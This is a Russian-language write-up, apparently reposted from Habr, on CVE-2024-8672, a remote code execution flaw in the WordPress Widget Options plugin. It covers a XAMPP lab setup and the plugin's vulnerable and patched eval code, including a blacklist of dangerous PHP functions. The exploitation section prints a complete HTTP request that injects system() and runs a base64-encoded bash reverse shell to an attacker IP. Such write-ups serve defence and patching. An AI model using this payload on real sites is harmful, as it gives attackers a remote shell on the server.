Введение
28 ноября 2024 года в плагине Widget Options для WordPress, который установлен более чем на 100,000 сайтах, была выявлена критическая уязвимость с CVSS 9.9. Уязвимость позволяет выполнять удалённое исполнение вредоносного кода пользователю, имеющему права «Contributor» и выше. Уязвимости подвержены все версии плагина ниже 4.0.7 (включительно).
Подготовка стендового окружения
Для работы WordPress необходимо установить веб-сервер с поддержкой PHP, а также поднять MySQL. В качестве тестового окружения будет использоваться XAMPP.
Установка WordPress
Заходим на страницу загрузки WordPress и скачиваем последнюю версию:
Теперь нужно разархивировать WordPress и перенести его в корневой каталог веб-сервера (для XAMPP — /opt/lampp/htdocs
):
cd ~/Downloads unzip wordpress-6.6.2.zip sudo mv wordpress /opt/lampp/htdocs/
Также нужно изменить владельца папки wordpress
на пользователя веб-сервера (в случае с XAMPP — daemon
):
sudo chown -R daemon:daemon /opt/lampp/htdocs
Дальнейшая установка происходит в GUI WordPress. Чтобы перейти к нему в браузере заходим на http://127.0.0.1/wordpress:
Здесь необходимо будет указать данные для подключения к MySQL (для XAMPP — имя пользователя root
и пустой пароль), а также создать админского пользователя:
WordPress
установлен, перейдём к установке уязвимого плагина. Скачать его можно с официального магазина плагинов WordPress:
После скачивания архива необходимо добавить плагин в разделе Plugins -> Installed Plugins:
Для корректной работы плагина необходимо создать пользователя с правами Contributor или выше. Это можно сделать в разделе Users:
Эксплуатация уязвимости
Для эксплуатации уязвимости требуется предварительное получение токена X-WP-Nonce для доступа к API. Токен можно получить, например, в процессе редактирования поста. Для этого необходимо войти в аккаунт пользователя с правами Contributor или выше, перейти в раздел Pages и создать новую страницу:
После этого открывается редактор новой страницы, который обращается к API WordPress, передавая заголовок X-WP-Nonce, который нам и нужен:
Теперь, для удалённого исполнения кода достаточно отправить GET или POST запрос:
GET /wordpress/wp-json/wp/v2/block-renderer/core/latest-comments?context=edit&attributes[commentsToShow]=5&attributes[displayAvatar]=true&attributes[displayDate]=true&attributes[displayExcerpt]=true&attributes[extended_widget_opts][class][logic]=system('echo%20YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDA%2bJjE%3d%20%7c%20base64%20-d%20%7c%20bash')%3b&post_id=0&_locale=site HTTP/1.1 Host: 172.20.10.4 X-WP-Nonce: 9e522759e7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36 Cookie: wordpress_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C8fa7c9c6dcc8623f61635c8ada3264d95e587a7707d0e7b3c400e74863995bbe; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C4588a3ce29d09a5b7e7ddf6db7e3abe10380154abd51cdd4db3e31b16a4e13c2; wp-settings-time-3=1734422641
Здесь параметр GET attributes[extended_widget_opts][class][logic]
передается в функцию PHP eval
, которая выполняет переданный ей аргумент как код PHP. При этом значение данного параметра содержит вызов функции system
, что позволяет исполнять переданный аргумент как команду в терминале операционной системы сервера.
Таким образом, в терминал операционной системы сервера передается команда echo YmFzaCAtaSA JiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDAJjE= | base64 -d | bash
, которая представляет собой инструкцию для отправки обратного шелла (или reverse shell) на атакующую машину. Эта команда декодирует закодированную строку с помощью base64
и передает результат в интерпретатор bash
, что позволяет получить удаленный доступ к системе и выполнять произвольные команды.
Reverse shell — это метод удаленного доступа, при котором целевая машина устанавливает соединение с атакующей машиной, позволяя выполнять команды на целевой системе. В отличие от обычного шелла, где атакующий инициирует соединение, в reverse shell инициатором является жертва, что помогает обойти некоторые меры безопасности, такие как брандмауэры.
Причины уязвимости
Причина уязвимости тривиальна: разработчики передают GET-параметр в функцию eval
без каких-либо проверок или валидации. Ниже представлен код функции, в которую передается уязвимый GET-параметр до устранения данной уязвимости:
function widgetopts_safe_eval($expression) { ob_start(); try { $result = (bool) eval("return $expression;"); } catch (Throwable $e) { return false; } ob_end_clean(); return $result; }
Как видно, к выражению не применяются никакие фильтры, и оно сразу передается в функцию eval
. После исправления разработчик внедрил фильтрацию потенциально опасных функций PHP, в результате чего функция была модифицирована следующим образом:
function widgetopts_safe_eval($expression) { // List of potentially harmful patterns $dangerous_patterns = [ // Database-related keywords '/\binsert\b/i', '/\bupdate\b/i', '/\bdelete\b/i', '/\breplace\b/i', '/\bselect\b/i', '/\bdrop\b/i', '/\balter\b/i', // WordPress-specific database functions '/\bwp_insert_post\b/i', '/\bwp_update_post\b/i', '/\bwp_delete_post\b/i', '/\bwp_insert_user\b/i', '/\bwp_update_user\b/i', '/\bwp_delete_user\b/i', '/\badd_option\b/i', '/\bupdate_option\b/i', '/\bdelete_option\b/i', '/\bwpdb\b/i', // JavaScript, CSS, and HTML '/<script\b[^>]*>(.*?)<\/script>/i', '/<style\b[^>]*>(.*?)<\/style>/i', // PHP file manipulation functions '/\bfile_put_contents\b/i', '/\bfile_get_contents\b/i', '/\bfopen\b/i', '/\bfwrite\b/i', '/\bunlink\b/i', '/\brename\b/i', '/\bchmod\b/i', '/\bchown\b/i', '/\bcopy\b/i', '/\bscandir\b/i', // External connections '/\bwp_remote_get\b/i', '/\bwp_remote_post\b/i', '/\bcurl_init\b/i', '/\bstream_context_create\b/i', // Reflection and dynamic variable/function manipulation '/\bReflectionClass\b/i', '/\bReflectionMethod\b/i', '/\bReflectionProperty\b/i', '/\bcall_user_func\b/i', '/\bcall_user_func_array\b/i', '/\bextract\b/i', '/\bparse_str\b/i', // System commands '/\beval\b/i', '/\bsystem\b/i', '/\bshell_exec\b/i', '/\bexec\b/i', '/\bpassthru\b/i', '/\bpopen\b/i' ]; $return = true; // Pattern matching foreach ($dangerous_patterns as $pattern) { if (preg_match($pattern, $expression)) { $return = false; break; } } if ($return === false) { return $return; } if (stristr($expression, "return") === false) { $expression = "return (" . $expression . ");"; } ob_start(); try { $result = (bool) (@eval($expression)); } catch (\Exception $e) { $result = false; } catch (\Error $e) { $result = false; } catch (\ParseError $e) { $result = false; } catch (\Throwable $e) { $result = false; } ob_end_clean(); return $result; }
Стоит отметить, что примененный в решении разработчика подход «черного списка» является менее безопасным по сравнению с подходом «белого списка». Более надежным вариантом было бы составить список разрешенных функций, а не список запрещенных, что значительно снизило бы риск эксплуатации уязвимостей и повысило бы общую безопасность приложения.
Заключение
В заключение, уязвимость CVE-2024-8672, обладающая высоким уровнем критичности с оценкой CVSS 9.9, представляет серьезную угрозу для безопасности приложений, позволяя пользователям с правами Contributor и выше выполнять удаленное исполнение кода на сервере. Это может привести к компрометации данных и нарушению работы системы. В связи с этим, настоятельно рекомендуется всем пользователям обновить плагин до последней версии (на момент написания статьи — 4.0.8), в которой данная уязвимость была устранена.
Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam
ссылка на оригинал статьи https://habr.com/ru/articles/867684/
Добавить комментарий